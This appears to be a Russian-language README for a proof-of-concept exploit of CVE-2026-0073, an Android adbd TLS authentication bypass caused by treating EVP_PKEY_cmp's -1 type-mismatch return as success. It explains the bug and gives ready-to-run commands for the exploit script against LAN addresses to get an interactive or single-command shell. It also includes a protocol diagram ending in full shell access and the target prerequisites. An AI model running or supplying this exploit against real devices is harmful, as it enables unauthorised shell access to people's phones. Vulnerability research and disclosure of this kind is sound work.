
CVE-2026-0073 — обход TLS-аутентификации в демоне ADB (adbd) Android через путаницу типов в EVP_PKEY_cmp. Получение несанкционированного доступа к оболочке по WiFi с использованием несоответствия ключей EC/Ed25519. PoC-эксплойт для Android 14+.
EVP_PKEY_cmp() → несанкционированный доступ к ADB shellКритический обход аутентификации в демоне ADB Android (adbd) позволяет любому атакующему в локальной сети получить полноценный shell на целевом устройстве без авторизации пользователя.
Уязвимость присутствует в adbd_tls_verify_cert() внутри daemon/auth.cpp, где EVP_PKEY_cmp() используется как логическое значение. Когда сохранённый ключ имеет тип RSA, а предъявленный TLS-сертификат клиента содержит ключ не-RSA (EC P-256 или Ed25519), EVP_PKEY_cmp() возвращает -1 (несовпадение типов), что истинно в C/C++, поэтому authorized = true.
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 is truthy!
authorized = true;
}
Возврат EVP_PKEY_cmp() | Значение | Истинно в C? | Результат |
|---|---|---|---|
1 | Ключи совпадают | ✅ | Авторизован (корректно) |
0 | Ключи различаются | ❌ | Отклонён (корректно) |
-1 | Несовпадение типов | ✅ | Авторизован (ОШИБКА) |
pip install cryptography
# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
По умолчанию скрипт автоматически пробует EC P-256 → Ed25519 → EC/TLS 1.2, пока один из вариантов не сработает.
Attacker Target (adbd)
│ │
│──── TCP connect ──────────────────►│
│──── CNXN (cleartext) ────────────►│
│◄─── STLS (TLS upgrade request) ──│
│──── STLS reply ──────────────────►│
│ │
│════ TLS 1.3 Handshake ════════════│
│ (EC P-256 client cert presented) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 is truthy → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (device info) ──────────│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (shell I/O) ──────►│
│ │
[FULL SHELL ACCESS] │
| Требование | Детали |
|---|---|
| Параметры разработчика | Включены на целевом устройстве |
| Отладка по Wi-Fi | Включена (или ADB по TCP на порту 5555) |
| Сохранённый RSA-ключ | Устройство должно было хотя бы раз быть сопряжено по USB (/data/misc/adb/adb_keys) |
| Сетевой доступ | Атакующий должен иметь доступ к TCP-порту adbd |
⚠️ Важно: RSA-ключ должен находиться в
/data/misc/adb/adb_keys, который заполняется через сопряжение при отладке по USB (принятие диалога «Разрешить отладку по USB?»). Сопряжение при отладке по Wi-Fi (adb pair) сохраняет ключи в другом месте (adb_known_hosts.pb) и НЕ удовлетворяет этому требованию.
adb shell getprop ro.build.version.security_patch
Протестировано и подтверждено работоспособным на:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
Этот форк включает несколько усовершенствований:
select() для кроссплатформенной поддержки-vCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Main exploit script
└── README.md # This file
Этот инструмент предоставляется исключительно для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Всегда получайте надлежащее разрешение перед тестированием. Автор не несёт ответственности за неправомерное использование данного программного обеспечения.
EVP_PKEY_cmpЕсли это помогло вашему исследованию, поставьте ⭐